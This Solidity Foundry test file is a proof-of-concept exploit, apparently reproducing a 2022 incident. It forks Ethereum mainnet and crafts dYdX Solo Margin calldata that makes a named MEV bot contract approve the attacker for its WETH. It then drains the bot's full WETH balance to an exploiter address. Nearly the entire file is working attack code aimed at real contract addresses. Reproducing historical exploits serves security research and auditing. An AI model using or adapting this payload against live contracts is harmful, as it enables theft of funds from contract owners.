src/test/2022-09/MEVbadc0de_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/**
8 * POC Build by
9 * - https://twitter.com/kayaba2002
10 * - https://twitter.com/eugenioclrc
11 */
12interface Structs {
13    struct Val {
14        uint256 value;
15    }
16 
17    enum ActionType {
18        Deposit, // supply tokens
19        Withdraw, // borrow tokens
20        Transfer, // transfer balance between accounts
21        Buy, // buy an amount of some token (externally)
22        Sell, // sell an amount of some token (externally)
23        Trade, // trade tokens against another account
24        Liquidate, // liquidate an undercollateralized or expiring account
25        Vaporize, // use excess tokens to zero-out a completely negative account
26        Call // send arbitrary data to an address
27 
28    }
29 
30    enum AssetDenomination {
31        Wei // the amount is denominated in wei
32 
33    }
34 
35    enum AssetReference {
36        Delta // the amount is given as a delta from the current value
37 
38    }
39 
40    struct AssetAmount {
41        bool sign; // true if positive
42        AssetDenomination denomination;
43        AssetReference ref;
44        uint256 value;
45    }
46 
47    struct ActionArgs {
48        ActionType actionType;
49        uint256 accountId;
50        AssetAmount amount;
51        uint256 primaryMarketId;
52        uint256 secondaryMarketId;
53        address otherAddress;
54        uint256 otherAccountId;
55        bytes data;
56    }
57 
58    struct Info {
59        address owner; // The address that owns the account
60        uint256 number; // A nonce that allows a single address to control many accounts
61    }
62 
63    struct Wei {
64        bool sign; // true if positive
65        uint256 value;
66    }
67}
68 
69library Account {
70    struct Info {
71        address owner;
72        uint256 number;
73    }
74}
75 
76interface DyDxPool is Structs {
77    function getAccountWei(Info memory account, uint256 marketId) external view returns (Wei memory);
78    function operate(Info[] memory, ActionArgs[] memory) external;
79}
80 
81contract ContractTest is Test {
82    IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
83    DyDxPool pool = DyDxPool(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e); //this is dydx solo margin sc
84 
85    address exploiter;
86    address MEVBOT = 0xbaDc0dEfAfCF6d4239BDF0b66da4D7Bd36fCF05A;
87 
88    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
89 
90    function setUp() public {
91        exploiter = cheats.addr(31_337);
92 
93        // fork mainnet at block 15625424
94        cheats.createSelectFork("mainnet", 15_625_424);
95    }
96 
97    function testExploit() public {
98        emit log_named_decimal_uint("MEV Bot balance before exploit:", weth.balanceOf(MEVBOT), 18);
99 
100        Structs.Info[] memory _infos = new Structs.Info[](1);
101        _infos[0] = Structs.Info({owner: address(this), number: 1});
102 
103        Structs.ActionArgs[] memory _args = new Structs.ActionArgs[](1);
104        _args[0] = Structs.ActionArgs(
105            // ActionType actionType;
106            Structs.ActionType.Call,
107            // uint256 accountId;
108            0,
109            // AssetAmount amount;
110            Structs.AssetAmount(
111                // bool sign; // true if positive
112                false,
113                // AssetDenomination denomination;
114                Structs.AssetDenomination.Wei,
115                // AssetReference ref;
116                Structs.AssetReference.Delta,
117                // uint256 value;
118                0
119            ),
120            // uint256 primaryMarketId;
121            0,
122            // uint256 secondaryMarketId;
123            0,
124            // address otherAddress;
125            MEVBOT,
126            // uint256 otherAccountId;
127            0,
128            // bytes data;
129            //abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max)
130            // no idea of what of how this byte calldata works
131            bytes.concat(
132                abi.encode(
133                    0x0000000000000000000000000000000000000000000000000000000000000003,
134                    address(pool),
135                    0x0000000000000000000000000000000000000000000000000000000000000000,
136                    0x0000000000000000000000000000000000000000000000000000000000000000,
137                    0x0000000000000000000000000000000000000000000000000000000000000000,
138                    0x00000000000000000000000000000000000000000000000000000000000000e0,
139                    0x000000000000000000000000000000000000000000000beff1ceef246ef7bd1f,
140                    0x0000000000000000000000000000000000000000000000000000000000000001,
141                    0x0000000000000000000000000000000000000000000000000000000000000020,
142                    0x0000000000000000000000000000000000000000000000000000000000000000,
143                    0x0000000000000000000000000000000000000000000000000000000000000000,
144                    address(this),
145                    address(weth)
146                ),
147                abi.encode(
148                    0x00000000000000000000000000000000000000000000000000000000000000a0,
149                    address(this),
150                    0x0000000000000000000000000000000000000000000000000000000000000040,
151                    0x00000000000000000000000000000000000000000000000000000000000000a0,
152                    0x0000000000000000000000000000000000000000000000000000000000000004,
153                    0x4798ce5b00000000000000000000000000000000000000000000000000000000,
154                    0x0000000000000000000000000000000000000000000000000000000000000002,
155                    0x0000000000000000000000000000000000000000000000000000000000000004,
156                    0x0000000000000000000000000000000000000000000000000000000000000001,
157                    0x0000000000000000000000000000000000000000000000000000000000000001,
158                    0x0000000000000000000000000000000000000000000000000000000000000002,
159                    0x0000000000000000000000000000000000000000000000000000000000000002
160                )
161            )
162        );
163 
164        pool.operate(_infos, _args);
165 
166        emit log_named_decimal_uint("Contract BADCODE WETH Allowance", weth.allowance(MEVBOT, address(this)), 18);
167 
168        weth.transferFrom(MEVBOT, exploiter, weth.balanceOf(MEVBOT));
169 
170        emit log_named_decimal_uint("MEV Bot WETH balance After exploit:", weth.balanceOf(MEVBOT), 18);
171 
172        emit log_named_decimal_uint("Exploiter WETH balance After exploit:", weth.balanceOf(exploiter), 18);
173 
174        assertEq(weth.balanceOf(MEVBOT), 0);
175    }
176 
177    /**
178     * For some reason it calls a 00000000 function on our contract.
179     * By changing values on the encode args we can proabaly change the func signature
180     * Meanwhile we can add a fallback and run our logic in there.
181     *
182     * ContractTest::00000000(000000000000000000000000000000000000000000000000000000044798ce5b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000beff1ceef246ef7bd1f00000000000000000000000000000000000000000000000000000001)
183     */
184    fallback() external {}
185}